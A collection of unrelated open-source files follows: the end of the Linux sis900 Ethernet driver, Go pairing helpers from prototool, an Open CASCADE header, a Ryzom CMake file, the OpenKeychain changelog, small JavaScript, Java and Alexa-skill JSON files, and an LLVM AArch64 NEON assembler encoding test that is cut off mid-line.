outl(cr_saved, ioaddr + cr); } } /** * sis900_reset - Reset sis900 MAC * @net_dev: the net device to reset * * reset sis900 MAC and wait until finished * reset through command register * change backoff algorithm for 900B0 & 635 M/B */ static void sis900_reset(struct net_device *net_dev) { struct sis900_private *sis_priv = netdev_priv(net_dev); long ioaddr = net_dev->base_addr; int i = 0; u32 status = TxRCMP | RxRCMP; outl(0, ioaddr + ier); outl(0, ioaddr + imr); outl(0, ioaddr + rfcr); outl(RxRESET | TxRESET | RESET | inl(ioaddr + cr), ioaddr + cr); /* Check that the chip has finished the reset. */ while (status && (i++ < 1000)) { status ^= (inl(isr + ioaddr) & status); } if( (sis_priv->chipset_rev >= SIS635A_900_REV) || (sis_priv->chipset_rev == SIS900B_900_REV) ) outl(PESEL | RND_CNT, ioaddr + cfg); else outl(PESEL, ioaddr + cfg); } /** * sis900_remove - Remove sis900 device * @pci_dev: the pci device to be removed * * remove and release SiS900 net device */ static void __devexit sis900_remove(struct pci_dev *pci_dev) { struct net_device *net_dev = pci_get_drvdata(pci_dev); struct sis900_private *sis_priv = netdev_priv(net_dev); struct mii_phy *phy = NULL; while (sis_priv->first_mii) { phy = sis_priv->first_mii; sis_priv->first_mii = phy->next; kfree(phy); } pci_free_consistent(pci_dev, RX_TOTAL_SIZE, sis_priv->rx_ring, sis_priv->rx_ring_dma); pci_free_consistent(pci_dev, TX_TOTAL_SIZE, sis_priv->tx_ring, sis_priv->tx_ring_dma); unregister_netdev(net_dev); free_netdev(net_dev); pci_release_regions(pci_dev); pci_set_drvdata(pci_dev, NULL); } #ifdef CONFIG_PM static int sis900_suspend(struct pci_dev *pci_dev, pm_message_t state) { struct net_device *net_dev = pci_get_drvdata(pci_dev); long ioaddr = net_dev->base_addr; if(!netif_running(net_dev)) return 0; netif_stop_queue(net_dev); netif_device_detach(net_dev); /* Stop the chip's Tx and Rx Status Machine */ outl(RxDIS | TxDIS | inl(ioaddr + cr), ioaddr + cr); pci_set_power_state(pci_dev, PCI_D3hot); pci_save_state(pci_dev); return 0; } static int sis900_resume(struct pci_dev *pci_dev) { struct net_device *net_dev = pci_get_drvdata(pci_dev); struct sis900_private *sis_priv = netdev_priv(net_dev); long ioaddr = net_dev->base_addr; if(!netif_running(net_dev)) return 0; pci_restore_state(pci_dev); pci_set_power_state(pci_dev, PCI_D0); sis900_init_rxfilter(net_dev); sis900_init_tx_ring(net_dev); sis900_init_rx_ring(net_dev); set_rx_mode(net_dev); netif_device_attach(net_dev); netif_start_queue(net_dev); /* Workaround for EDB */ sis900_set_mode(ioaddr, HW_SPEED_10_MBPS, FDX_CAPABLE_HALF_SELECTED); /* Enable all known interrupts by setting the interrupt mask. */ outl((RxSOVR|RxORN|RxERR|RxOK|TxURN|TxERR|TxIDLE), ioaddr + imr); outl(RxENA | inl(ioaddr + cr), ioaddr + cr); outl(IE, ioaddr + ier); sis900_check_mode(net_dev, sis_priv->mii); return 0; } #endif /* CONFIG_PM */ static struct pci_driver sis900_pci_driver = { .name = SIS900_MODULE_NAME, .id_table = sis900_pci_tbl, .probe = sis900_probe, .remove = __devexit_p(sis900_remove), #ifdef CONFIG_PM .suspend = sis900_suspend, .resume = sis900_resume, #endif /* CONFIG_PM */ }; static int __init sis900_init_module(void) { /* when a module, this is printed whether or not devices are found in probe */ #ifdef MODULE printk(version); #endif return pci_register_driver(&sis900_pci_driver); } static void __exit sis900_cleanup_module(void) { pci_unregister_driver(&sis900_pci_driver); } module_init(sis900_init_module); module_exit(sis900_cleanup_module);
{ "pile_set_name": "Github" }
// Copyright (c) 2020 Uber Technologies, Inc. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. package breaking import ( "fmt" "github.com/uber/prototool/internal/extract" "github.com/uber/prototool/internal/text" ) func forEachPackagePair( addFailure func(*text.Failure), from *extract.PackageSet, to *extract.PackageSet, f func( func(*text.Failure), *extract.Package, *extract.Package, ) error, ) error { fromPackageNameToPackage := from.PackageNameToPackage() toPackageNameToPackage := to.PackageNameToPackage() for fromPackageName, fromPackage := range fromPackageNameToPackage { if toPackage, ok := toPackageNameToPackage[fromPackageName]; ok { if err := f(addFailure, fromPackage, toPackage); err != nil { return err } } } return nil } func forEachMessagePair( addFailure func(*text.Failure), from *extract.PackageSet, to *extract.PackageSet, f func( func(*text.Failure), *extract.Message, *extract.Message, ) error, ) error { return forEachPackagePair( addFailure, from, to, func(addFailure func(*text.Failure), fromPackage *extract.Package, toPackage *extract.Package) error { return forEachMessagePairRec(addFailure, fromPackage.MessageNameToMessage(), toPackage.MessageNameToMessage(), f) }, ) } func forEachMessagePairRec( addFailure func(*text.Failure), fromMessageNameToMessage map[string]*extract.Message, toMessageNameToMessage map[string]*extract.Message, f func( func(*text.Failure), *extract.Message, *extract.Message, ) error, ) error { for fromMessageName, fromMessage := range fromMessageNameToMessage { if toMessage, ok := toMessageNameToMessage[fromMessageName]; ok { if err := f(addFailure, fromMessage, toMessage); err != nil { return err } if err := forEachMessagePairRec(addFailure, fromMessage.NestedMessageNameToMessage(), toMessage.NestedMessageNameToMessage(), f); err != nil { return err } } } return nil } func forEachMessageFieldPair( addFailure func(*text.Failure), from *extract.PackageSet, to *extract.PackageSet, f func( func(*text.Failure), *extract.MessageField, *extract.MessageField, ) error, ) error { return forEachMessagePair( addFailure, from, to, func(addFailure func(*text.Failure), fromMessage *extract.Message, toMessage *extract.Message) error { fromFieldNumberToField := fromMessage.FieldNumberToField() toFieldNumberToField := toMessage.FieldNumberToField() for fromFieldNumber, fromField := range fromFieldNumberToField { if toField, ok := toFieldNumberToField[fromFieldNumber]; ok { if err := f(addFailure, fromField, toField); err != nil { return err } } } return nil }, ) } func forEachMessageOneofPair( addFailure func(*text.Failure), from *extract.PackageSet, to *extract.PackageSet, f func( func(*text.Failure), *extract.MessageOneof, *extract.MessageOneof, ) error, ) error { return forEachMessagePair( addFailure, from, to, func(addFailure func(*text.Failure), fromMessage *extract.Message, toMessage *extract.Message) error { fromOneofNameToOneof := fromMessage.OneofNameToOneof() toOneofNameToOneof := toMessage.OneofNameToOneof() for fromOneofName, fromOneof := range fromOneofNameToOneof { if toOneof, ok := toOneofNameToOneof[fromOneofName]; ok { if err := f(addFailure, fromOneof, toOneof); err != nil { return err } } } return nil }, ) } func forEachEnumPair( addFailure func(*text.Failure), from *extract.PackageSet, to *extract.PackageSet, f func( func(*text.Failure), *extract.Enum, *extract.Enum, ) error, ) error { if err := forEachPackagePair( addFailure, from, to, func(addFailure func(*text.Failure), fromPackage *extract.Package, toPackage *extract.Package) error { return forEachEnumPairInternal(addFailure, fromPackage.EnumNameToEnum(), toPackage.EnumNameToEnum(), f) }, ); err != nil { return err } return forEachMessagePair( addFailure, from, to, func(addFailure func(*text.Failure), fromMessage *extract.Message, toMessage *extract.Message) error { return forEachEnumPairInternal(addFailure, fromMessage.NestedEnumNameToEnum(), toMessage.NestedEnumNameToEnum(), f) }, ) } func forEachEnumPairInternal( addFailure func(*text.Failure), fromEnumNameToEnum map[string]*extract.Enum, toEnumNameToEnum map[string]*extract.Enum, f func( func(*text.Failure), *extract.Enum, *extract.Enum, ) error, ) error { for fromEnumName, fromEnum := range fromEnumNameToEnum { if toEnum, ok := toEnumNameToEnum[fromEnumName]; ok { if err := f(addFailure, fromEnum, toEnum); err != nil { return err } } } return nil } func forEachEnumValuePair( addFailure func(*text.Failure), from *extract.PackageSet, to *extract.PackageSet, f func( func(*text.Failure), *extract.EnumValue, *extract.EnumValue, ) error, ) error { return forEachEnumPair( addFailure, from, to, func(addFailure func(*text.Failure), fromEnum *extract.Enum, toEnum *extract.Enum) error { fromValueNumberToValue := fromEnum.ValueNumberToValue() toValueNumberToValue := toEnum.ValueNumberToValue() for fromValueNumber, fromValue := range fromValueNumberToValue { if toValue, ok := toValueNumberToValue[fromValueNumber]; ok { if err := f(addFailure, fromValue, toValue); err != nil { return err } } } return nil }, ) } func forEachServicePair( addFailure func(*text.Failure), from *extract.PackageSet, to *extract.PackageSet, f func( func(*text.Failure), *extract.Service, *extract.Service, ) error, ) error { return forEachPackagePair( addFailure, from, to, func(addFailure func(*text.Failure), fromPackage *extract.Package, toPackage *extract.Package) error { fromServiceNameToService := fromPackage.ServiceNameToService() toServiceNameToService := toPackage.ServiceNameToService() for fromServiceName, fromService := range fromServiceNameToService { if toService, ok := toServiceNameToService[fromServiceName]; ok { if err := f(addFailure, fromService, toService); err != nil { return err } } } return nil }, ) } func forEachServiceMethodPair( addFailure func(*text.Failure), from *extract.PackageSet, to *extract.PackageSet, f func( func(*text.Failure), *extract.ServiceMethod, *extract.ServiceMethod, ) error, ) error { return forEachServicePair( addFailure, from, to, func(addFailure func(*text.Failure), fromService *extract.Service, toService *extract.Service) error { fromMethodNameToMethod := fromService.MethodNameToMethod() toMethodNameToMethod := toService.MethodNameToMethod() for fromMethodName, fromMethod := range fromMethodNameToMethod { if toMethod, ok := toMethodNameToMethod[fromMethodName]; ok { if err := f(addFailure, fromMethod, toMethod); err != nil { return err } } } return nil }, ) } func newTextFailuref(format string, args ...interface{}) *text.Failure { return &text.Failure{ Message: fmt.Sprintf(format, args...), } }
{ "pile_set_name": "Github" }
// Created on: 1993-06-07 // Created by: Jacques GOUSSARD // Copyright (c) 1993-1999 Matra Datavision // Copyright (c) 1999-2014 OPEN CASCADE SAS // // This file is part of Open CASCADE Technology software library. // // This library is free software; you can redistribute it and/or modify it under // the terms of the GNU Lesser General Public License version 2.1 as published // by the Free Software Foundation, with special exception defined in the file // OCCT_LGPL_EXCEPTION.txt. Consult the file LICENSE_LGPL_21.txt included in OCCT // distribution for complete text of the license and disclaimer of any warranty. // // Alternatively, this file may be used under the terms of Open CASCADE // commercial license or contractual agreement. #ifndef _IntPatch_ArcFunction_HeaderFile #define _IntPatch_ArcFunction_HeaderFile #include <Standard.hxx> #include <Standard_DefineAlloc.hxx> #include <Standard_Handle.hxx> #include <IntSurf_Quadric.hxx> #include <gp_Pnt.hxx> #include <TColgp_SequenceOfPnt.hxx> #include <math_FunctionWithDerivative.hxx> #include <Standard_Boolean.hxx> #include <Standard_Real.hxx> #include <Standard_Integer.hxx> class Adaptor2d_HCurve2d; class Adaptor3d_HSurface; class IntSurf_Quadric; class gp_Pnt; class IntPatch_ArcFunction : public math_FunctionWithDerivative { public: DEFINE_STANDARD_ALLOC Standard_EXPORT IntPatch_ArcFunction(); void SetQuadric (const IntSurf_Quadric& Q); void Set (const Handle(Adaptor2d_HCurve2d)& A); void Set (const Handle(Adaptor3d_HSurface)& S); Standard_EXPORT Standard_Boolean Value (const Standard_Real X, Standard_Real& F) Standard_OVERRIDE; Standard_EXPORT Standard_Boolean Derivative (const Standard_Real X, Standard_Real& D) Standard_OVERRIDE; Standard_EXPORT Standard_Boolean Values (const Standard_Real X, Standard_Real& F, Standard_Real& D) Standard_OVERRIDE; Standard_EXPORT Standard_Integer NbSamples() const; Standard_EXPORT virtual Standard_Integer GetStateNumber() Standard_OVERRIDE; const gp_Pnt& Valpoint (const Standard_Integer Index) const; const IntSurf_Quadric& Quadric() const; const Handle(Adaptor2d_HCurve2d)& Arc() const; const Handle(Adaptor3d_HSurface)& Surface() const; //! Returns the point, which has been computed //! while the last calling Value() method const gp_Pnt& LastComputedPoint() const; protected: private: Handle(Adaptor2d_HCurve2d) myArc; Handle(Adaptor3d_HSurface) mySurf; IntSurf_Quadric myQuad; gp_Pnt ptsol; TColgp_SequenceOfPnt seqpt; }; #include <IntPatch_ArcFunction.lxx> #endif // _IntPatch_ArcFunction_HeaderFile
{ "pile_set_name": "Github" }
FILE(GLOB SRC *.cpp *.h *.rc) SOURCE_GROUP("" FILES ${SRC}) ADD_EXECUTABLE(sheets_packer ${SRC} ${CMAKE_SOURCE_DIR}/ryzom/client/src/continent_manager_build.cpp ${CMAKE_SOURCE_DIR}/ryzom/client/src/continent_manager_build.h ${CMAKE_SOURCE_DIR}/ryzom/client/src/sheet_manager.cpp ${CMAKE_SOURCE_DIR}/ryzom/client/src/sheet_manager.h) INCLUDE_DIRECTORIES(${LIBXML2_INCLUDE_DIR} ${CMAKE_SOURCE_DIR}/ryzom/client/src) TARGET_LINK_LIBRARIES(sheets_packer ryzom_clientsheets ryzom_gameshare nelmisc nelgeorges nelnet nelligo) ADD_DEFINITIONS(${LIBXML2_DEFINITIONS}) NL_DEFAULT_PROPS(sheets_packer "Ryzom, Tools: Sheets Packer") NL_ADD_RUNTIME_FLAGS(sheets_packer) IF(WITH_PCH) ADD_NATIVE_PRECOMPILED_HEADER(sheets_packer ${CMAKE_CURRENT_SOURCE_DIR}/stdpch.h ${CMAKE_CURRENT_SOURCE_DIR}/stdpch.cpp) ENDIF() INSTALL(TARGETS sheets_packer RUNTIME DESTINATION ${RYZOM_BIN_PREFIX} COMPONENT tools) INSTALL(FILES sheets_packer.cfg DESTINATION ${RYZOM_SHARE_PREFIX} COMPONENT tools)
{ "pile_set_name": "Github" }
[//]: # (NOTE: Please put every sentence in its own line, Transifex puts every line in its own translation field!) ## 5.5 * Fix decryption from clipboard on Android 10 ## 5.4 * Add WKD Advanced method * Add COTECH Security Key Shop ## 5.3 * Use keys.openpgp.org as default keyserver ## 5.2 * Improved key import from clipboard ## 5.1 * Support for Ledger Nano S * Support Web Key Directory (WKD) search * Fixed potential API security issue ## 5.0 * Improved Autocrypt support ## 4.9 * Curve25519 support * Improved support for security tokens ## 4.8 * Improved support for USB tokens: Gnuk, Nitrokey models, YubiKey 4 models * Feature to find the position of the device's NFC reader ## 4.7 * Improved import from clipboard * New key creation wizard for Security Tokens * Removed password cache "time to live" setting ## 4.6 * Import your keys using our new Secure Wi-Fi Transfer mechanism ## 4.5 * Detailed description of security problems * Display keyserver status per key * Support for EdDSA * Fix pgp.mit.edu (new certificate) ## 4.4 * New key status displays detailed information why a key is considered insecure or defective ## 4.3 * Better support for large keys * Fix import of Gpg4win files with broken encodings ## 4.2 * Experimental support for Elliptic Curve Encryption with Security Tokens * Redesigned key import screen * Design improvements to key lists * Support for keyserver onion addresses ## 4.1 * Better detection of emails and other content when opened ## 4.0 * Experimental support for Security Tokens over USB * Allow password changing of stripped keys ## 3.9 * Detection and handling of text data * Performance improvements * UI improvements for Security Token handling ## 3.8 * Redesigned key editing * Choose remember time individually when entering passwords * Facebook key import ## 3.7 * Improved Android 6 support (permissions, integration into text selection) * API: Version 10 ## 3.6 * Encrypted backups * Security fixes based on external security audit * YubiKey NEO key creation wizard * Basic internal MIME support * Automatic key synchronization * Experimental feature: link keys to Github, Twitter accounts * Experimental feature: key confirmation via phrases * Experimental feature: dark theme * API: Version 9 ## 3.5 * Key revocation on key deletion * Improved checks for insecure cryptography * Fix: Don't close OpenKeychain after first time wizard succeeds * API: Version 8 ## 3.4 * Anonymous key download over Tor * Proxy support * Better YubiKey error handling ## 3.3 * New decryption screen * Decryption of multiple files at once * Better handling of YubiKey errors ## 3.2 * First version with full YubiKey support available from the user interface: Edit keys, bind YubiKey to keys,... * Material design * Integration of QR Code Scanning (New permissions required) * Improved key creation wizard * Fix missing contacts after sync * Requires Android 4 * Redesigned key screen * Simplify crypto preferences, better selection of secure ciphers * API: Detached signatures, free selection of signing key,... * Fix: Some valid keys were shown revoked or expired * Don't accept signatures by expired or revoked subkeys * Keybase.io support in advanced view * Method to update all keys at once ## 3.1.2 * Fix key export to files (now for real) ## 3.1.1 * Fix key export to files (they were written partially) * Fix crash on Android 2.3 ## 3.1 * Fix crash on Android 5 * New certify screen * Secure Exchange directly from key list (SafeSlinger library) * New QR Code program flow * Redesigned decrypt screen * New icon usage and colors * Fix import of secret keys from Symantec Encryption Desktop * Experimental YubiKey support: Subkey IDs are now checked correctly ## 3.0.1 * Better handling of large key imports * Improved subkey selection ## 3.0 * Propose installable compatible apps in apps list * New design for decryption screens * Many fixes for key import, also fixes stripped keys * Honor and display key authenticate flags * User interface to generate custom keys * Fixing user ID revocation certificates * New cloud search (searches over traditional keyservers and keybase.io) * Support for stripping keys inside OpenKeychain * Experimental YubiKey support: Support for signature generation and decryption ## 2.9.2 * Fix keys broken in 2.9.1 * Experimental YubiKey support: Decryption now working via API ## 2.9.1 * Split encrypt screen into two * Fix key flags handling (now supporting Mailvelope 0.7 keys) * Improved passphrase handling * Key sharing via SafeSlinger * Experimental YubiKey support: Preference to allow other PINs, currently only signing via the OpenPGP API works, not inside of OpenKeychain * Fix usage of stripped keys * SHA256 as default for compatibility * Intent API has changed, see https://github.com/open-keychain/open-keychain/wiki/Intent-API * OpenPGP API now handles revoked/expired keys and returns all user ids ## 2.9 * Fixing crashes introduced in v2.8 * Experimental ECC support * Experimental YubiKey support: Only signing with imported keys ## 2.8 * So many bugs have been fixed in this release that we focus on the main new features * Key edit: awesome new design, key revocation * Key import: awesome new design, secure keyserver connections via hkps, keyserver resolving via DNS SRV records * New first time screen * New key creation screen: autocompletion of name and email based on your personal Android accounts * File encryption: awesome new design, support for encrypting multiple files * New icons to show status of key (by Brennan Novak) * Important bug fix: Importing of large key collections from a file is now possible * Notification showing cached passphrases * Keys are connected to Android's contacts This release wouldn't be possible without the work of Vincent Breitmoser (GSoC 2014), mar-v-in (GSoC 2014), Daniel Albert, Art O Cathain, Daniel Haß, Tim Bray, Thialfihar ## 2.7 * Purple! (Dominik, Vincent) * New key view design (Dominik, Vincent) * New flat Android buttons (Dominik, Vincent) * API fixes (Dominik) * Keybase.io import (Tim Bray) ## 2.6.1 * Some fixes for regression bugs ## 2.6 * Key certifications (thanks to Vincent Breitmoser) * Support for GnuPG partial secret keys (thanks to Vincent Breitmoser) * New design for signature verification * Custom key length (thanks to Greg Witczak) * Fix share-functionality from other apps ## 2.5 * Fix decryption of symmetric OpenPGP messages/files * Refactored key edit screen (thanks to Ash Hughes) * New modern design for encrypt/decrypt screens * OpenPGP API version 3 (multiple api accounts, internal fixes, key lookup) ## 2.4 Thanks to all applicants of Google Summer of Code 2014 who made this release feature rich and bug free! Besides several small patches, a notable number of patches are made by the following people (in alphabetical order): Daniel Hammann, Daniel Haß, Greg Witczak, Miroojin Bakshi, Nikhil Peter Raj, Paul Sarbinowski, Sreeram Boyapati, Vincent Breitmoser. * New unified key list * Colorized key fingerprint * Support for keyserver ports * Deactivate possibility to generate weak keys * Much more internal work on the API * Certify user ids * Keyserver query based on machine-readable output * Lock navigation drawer on tablets * Suggestions for emails on creation of keys * Search in public key lists * And much more improvements and fixes… ## 2.3.1 * Hotfix for crash when upgrading from old versions ## 2.3 * Remove unnecessary export of public keys when exporting secret key (thanks to Ash Hughes) * Fix setting expiry dates on keys (thanks to Ash Hughes) * More internal fixes when editing keys (thanks to Ash Hughes) * Querying keyservers directly from the import screen * Fix layout and dialog style on Android 2.2-3.0 * Fix crash on keys with empty user ids * Fix crash and empty lists when coming back from signing screen * Bouncy Castle (cryptography library) updated from 1.47 to 1.50 and build from source * Fix upload of key from signing screen ## 2.2 * New design with navigation drawer * New public key list design * New public key view * Bug fixes for importing of keys * Key cross-certification (thanks to Ash Hughes) * Handle UTF-8 passwords properly (thanks to Ash Hughes) * First version with new languages (thanks to the contributors on Transifex) * Sharing of keys via QR Codes fixed and improved * Package signature verification for API ## 2.1.1 * API Updates, preparation for K-9 Mail integration ## 2.1 * Lots of bug fixes * New API for developers * PRNG bug fix by Google ## 2.0 * Complete redesign * Share public keys via QR codes, NFC beam * Sign keys * Upload keys to server * Fixes import issues * New AIDL API ## 1.0.8 * Basic keyserver support * App2sd * More choices for passphrase cache: 1, 2, 4, 8, hours * Translations: Norwegian Bokmål (thanks, Sander Danielsen), Chinese (thanks, Zhang Fredrick) * Bugfixes * Optimizations ## 1.0.7 * Fixed problem with signature verification of texts with trailing newline * More options for passphrase cache time to live (20, 40, 60 mins) ## 1.0.6 * Account adding crash on Froyo fixed * Secure file deletion * Option to delete key file after import * Stream encryption/decryption (gallery, etc.) * New options (language, force v3 signatures) * Interface changes * Bugfixes ## 1.0.5 * German and Italian translation * Much smaller package, due to reduced BC sources * New preferences GUI * Layout adjustment for localization * Signature bugfix ## 1.0.4 * Fixed another crash caused by some SDK bug with query builder ## 1.0.3 * Fixed crashes during encryption/signing and possibly key export ## 1.0.2 * Filterable key lists * Smarter pre-selection of encryption keys * New Intent handling for VIEW and SEND, allows files to be encrypted/decrypted out of file managers * Fixes and additional features (key preselection) for K-9 Mail, new beta build available ## 1.0.1 * GMail account listing was broken in 1.0.0, fixed again ## 1.0.0 * K-9 Mail integration, APG supporting beta build of K-9 Mail * Support of more file managers (including ASTRO) * Slovenian translation * New database, much faster, less memory usage * Defined Intents and content provider for other apps * Bugfixes
{ "pile_set_name": "Github" }
// Any copyright is dedicated to the Public Domain. // http://creativecommons.org/licenses/publicdomain/ // Contributor: Andreas Gal <[email protected]> assertEq(Object.getOwnPropertyNames(Array.prototype).indexOf("length") >= 0, true); reportCompare("ok", "ok", "bug 583429");
{ "pile_set_name": "Github" }
{ "accountLinkingWhitelistedDomains": null, "asin": "B01M7QD2XR", "averageRating": 0, "canDisable": true, "capabilities": null, "category": null, "description": "A growing collection of fun and education facts about food.", "enablement": null, "exampleInteractions": [ "Alexa open fun food fact", "Alexa, ask fun food fact to tell me a fun food fact", "Alexa, ask fun food fact for a food fact" ], "firstReleaseDate": 1477762941.272, "homepageLinkText": null, "homepageLinkUrl": null, "id": "amzn1.ask.skill.0b974d0e-7801-48a6-ab89-07aab512bece", "imageAltText": "Fun Food Facts icon", "imageUrl": "https://github.com/dale3h/alexa-skills-list/raw/master/skills/B01M7QD2XR/skill_icon", "inAppPurchasingSupported": false, "launchPhrase": "fun food fact", "name": "Fun Food Facts", "numberOfReviews": 0, "pamsPartnerId": null, "permissions": null, "privacyPolicyUrl": null, "shortDescription": "Learn fun and education facts about things you eat!", "skillTypes": null, "stage": "live", "termsOfUseUrl": null, "vendorId": "M322TCY5ETO3EH", "vendorName": "Xenia H" }
{ "pile_set_name": "Github" }
require("http").createServer(function (req, res) { res.writeHead(200, {"content-type":"application/json"}) res.end(JSON.stringify({ok: true})) }).listen(1337)
{ "pile_set_name": "Github" }
package android.webkit; public class ServiceWorkerClient { public WebResourceResponse shouldInterceptRequest(WebResourceRequest request) { return null; } }
{ "pile_set_name": "Github" }
// RUN: llvm-mc -triple=arm64 -mattr=+neon -show-encoding < %s | FileCheck %s // Check that the assembler can handle the documented syntax for AArch64 //------------------------------------------------------------------------------ // Load single 1-element structure to all lanes of 1 register //------------------------------------------------------------------------------ ld1r { v0.16b }, [x0] ld1r { v15.8h }, [x15] ld1r { v31.4s }, [sp] ld1r { v0.2d }, [x0] ld1r { v0.8b }, [x0] ld1r { v15.4h }, [x15] ld1r { v31.2s }, [sp] ld1r { v0.1d }, [x0] // CHECK: ld1r { v0.16b }, [x0] // encoding: [0x00,0xc0,0x40,0x4d] // CHECK: ld1r { v15.8h }, [x15] // encoding: [0xef,0xc5,0x40,0x4d] // CHECK: ld1r { v31.4s }, [sp] // encoding: [0xff,0xcb,0x40,0x4d] // CHECK: ld1r { v0.2d }, [x0] // encoding: [0x00,0xcc,0x40,0x4d] // CHECK: ld1r { v0.8b }, [x0] // encoding: [0x00,0xc0,0x40,0x0d] // CHECK: ld1r { v15.4h }, [x15] // encoding: [0xef,0xc5,0x40,0x0d] // CHECK: ld1r { v31.2s }, [sp] // encoding: [0xff,0xcb,0x40,0x0d] // CHECK: ld1r { v0.1d }, [x0] // encoding: [0x00,0xcc,0x40,0x0d] //------------------------------------------------------------------------------ // Load single N-element structure to all lanes of N consecutive // registers (N = 2,3,4) //------------------------------------------------------------------------------ ld2r { v0.16b, v1.16b }, [x0] ld2r { v15.8h, v16.8h }, [x15] ld2r { v31.4s, v0.4s }, [sp] ld2r { v0.2d, v1.2d }, [x0] ld2r { v0.8b, v1.8b }, [x0] ld2r { v15.4h, v16.4h }, [x15] ld2r { v31.2s, v0.2s }, [sp] ld2r { v31.1d, v0.1d }, [sp] // CHECK: ld2r { v0.16b, v1.16b }, [x0] // encoding: [0x00,0xc0,0x60,0x4d] // CHECK: ld2r { v15.8h, v16.8h }, [x15] // encoding: [0xef,0xc5,0x60,0x4d] // CHECK: ld2r { v31.4s, v0.4s }, [sp] // encoding: [0xff,0xcb,0x60,0x4d] // CHECK: ld2r { v0.2d, v1.2d }, [x0] // encoding: [0x00,0xcc,0x60,0x4d] // CHECK: ld2r { v0.8b, v1.8b }, [x0] // encoding: [0x00,0xc0,0x60,0x0d] // CHECK: ld2r { v15.4h, v16.4h }, [x15] // encoding: [0xef,0xc5,0x60,0x0d] // CHECK: ld2r { v31.2s, v0.2s }, [sp] // encoding: [0xff,0xcb,0x60,0x0d] // CHECK: ld2r { v31.1d, v0.1d }, [sp] // encoding: [0xff,0xcf,0x60,0x0d] ld3r { v0.16b, v1.16b, v2.16b }, [x0] ld3r { v15.8h, v16.8h, v17.8h }, [x15] ld3r { v31.4s, v0.4s, v1.4s }, [sp] ld3r { v0.2d, v1.2d, v2.2d }, [x0] ld3r { v0.8b, v1.8b, v2.8b }, [x0] ld3r { v15.4h, v16.4h, v17.4h }, [x15] ld3r { v31.2s, v0.2s, v1.2s }, [sp] ld3r { v31.1d, v0.1d, v1.1d }, [sp] // CHECK: ld3r { v0.16b, v1.16b, v2.16b }, [x0] // encoding: [0x00,0xe0,0x40,0x4d] // CHECK: ld3r { v15.8h, v16.8h, v17.8h }, [x15] // encoding: [0xef,0xe5,0x40,0x4d] // CHECK: ld3r { v31.4s, v0.4s, v1.4s }, [sp] // encoding: [0xff,0xeb,0x40,0x4d] // CHECK: ld3r { v0.2d, v1.2d, v2.2d }, [x0] // encoding: [0x00,0xec,0x40,0x4d] // CHECK: ld3r { v0.8b, v1.8b, v2.8b }, [x0] // encoding: [0x00,0xe0,0x40,0x0d] // CHECK: ld3r { v15.4h, v16.4h, v17.4h }, [x15] // encoding: [0xef,0xe5,0x40,0x0d] // CHECK: ld3r { v31.2s, v0.2s, v1.2s }, [sp] // encoding: [0xff,0xeb,0x40,0x0d] // CHECK: ld3r { v31.1d, v0.1d, v1.1d }, [sp] // encoding: [0xff,0xef,0x40,0x0d] ld4r { v0.16b, v1.16b, v2.16b, v3.16b }, [x0] ld4r { v15.8h, v16.8h, v17.8h, v18.8h }, [x15] ld4r { v31.4s, v0.4s, v1.4s, v2.4s }, [sp] ld4r { v0.2d, v1.2d, v2.2d, v3.2d }, [x0] ld4r { v0.8b, v1.8b, v2.8b, v3.8b }, [x0] ld4r { v15.4h, v16.4h, v17.4h, v18.4h }, [x15] ld4r { v31.2s, v0.2s, v1.2s, v2.2s }, [sp] ld4r { v31.1d, v0.1d, v1.1d, v2.1d }, [sp] // CHECK: ld4r { v0.16b, v1.16b, v2.16b, v3.16b }, [x0] // encoding: [0x00,0xe0,0x60,0x4d] // CHECK: ld4r { v15.8h, v16.8h, v17.8h, v18.8h }, [x15] // encoding: [0xef,0xe5,0x60,0x4d] // CHECK: ld4r { v31.4s, v0.4s, v1.4s, v2.4s }, [sp] // encoding: [0xff,0xeb,0x60,0x4d] // CHECK: ld4r { v0.2d, v1.2d, v2.2d, v3.2d }, [x0] // encoding: [0x00,0xec,0x60,0x4d] // CHECK: ld4r { v0.8b, v1.8b, v2.8b, v3.8b }, [x0] // encoding: [0x00,0xe0,0x60,0x0d] // CHECK: ld4r { v15.4h, v16.4h, v17.4h, v18.4h }, [x15] // encoding: [0xef,0xe5,0x60,0x0d] // CHECK: ld4r { v31.2s, v0.2s, v1.2s, v2.2s }, [sp] // encoding: [0xff,0xeb,0x60,0x0d] // CHECK: ld4r { v31.1d, v0.1d, v1.1d, v2.1d }, [sp] // encoding: [0xff,0xef,0x60,0x0d] //------------------------------------------------------------------------------ // Load single 1-element structure to one lane of 1 register. //------------------------------------------------------------------------------ ld1 { v0.b }[9], [x0] ld1 { v15.h }[7], [x15] ld1 { v31.s }[3], [sp] ld1 { v0.d }[1], [x0] // CHECK: ld1 { v0.b }[9], [x0] // encoding: [0x00,0x04,0x40,0x4d] // CHECK: ld1 { v15.h }[7], [x15] // encoding: [0xef,0x59,0x40,0x4d] // CHECK: ld1 { v31.s }[3], [sp] // encoding: [0xff,0x93,0x40,0x4d] // CHECK: ld1 { v0.d }[1], [x0] // encoding: [0x00,0x84,0x40,0x4d] //------------------------------------------------------------------------------ // Load single N-element structure to one lane of N consecutive registers // (N = 2,3,4) //------------------------------------------------------------------------------ ld2 { v0.b, v1.b }[9], [x0] ld2 { v15.h, v16.h }[7], [x15] ld2 { v31.s, v0.s }[3], [sp] ld2 { v0.d, v1.d }[1], [x0] // CHECK: ld2 { v0.b, v1.b }[9], [x0] // encoding: [0x00,0x04,0x60,0x4d] // CHECK: ld2 { v15.h, v16.h }[7], [x15] // encoding: [0xef,0x59,0x60,0x4d] // CHECK: ld2 { v31.s, v0.s }[3], [sp] // encoding: [0xff,0x93,0x60,0x4d] // CHECK: ld2 { v0.d, v1.d }[1], [x0] 